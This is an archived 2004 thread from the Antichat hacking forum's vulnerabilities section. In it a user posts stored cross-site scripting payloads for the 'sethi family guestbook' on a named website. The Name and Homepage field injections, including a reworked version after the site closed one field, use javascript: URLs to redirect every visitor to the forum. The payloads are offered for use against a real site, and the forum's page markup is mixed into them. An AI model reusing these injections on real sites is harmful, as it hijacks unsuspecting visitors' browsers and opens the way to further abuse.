Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги  sethi family guestbook (https://forum.antichat.xyz/showthread.php?t=1916)

Егорыч+++ 19.05.2004 16:17

В общем в тело Name вставляем

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><div id=aa>http://antichat.ru</div>[/QUOTE]<span id='postcolor'>

В тело Homepage

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">"><a style=background-image:url(javascript:navigate(aa[0].innerText));[/QUOTE]<span id='postcolor'>

Получаем редирект на АНТИЧАТ.
Адрес скрипта http://www.sethi.org/guestbook

Егорыч+++ 20.05.2004 09:45

Сегодня зашел на из гостевую они прикрыли ввод homepage. Умники.

Вводим в имя

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><div>http://antichat.ru</div><a style=background-image:url(javascript:navigate(aa[0].innerText));[/QUOTE]<span id='postcolor'>

И получаем редирект на АНТИЧАТ.

Algol 20.05.2004 11:52

http://forum.antichat.ru/iB_html/non...s/rolleyes.gif


Время: 17:44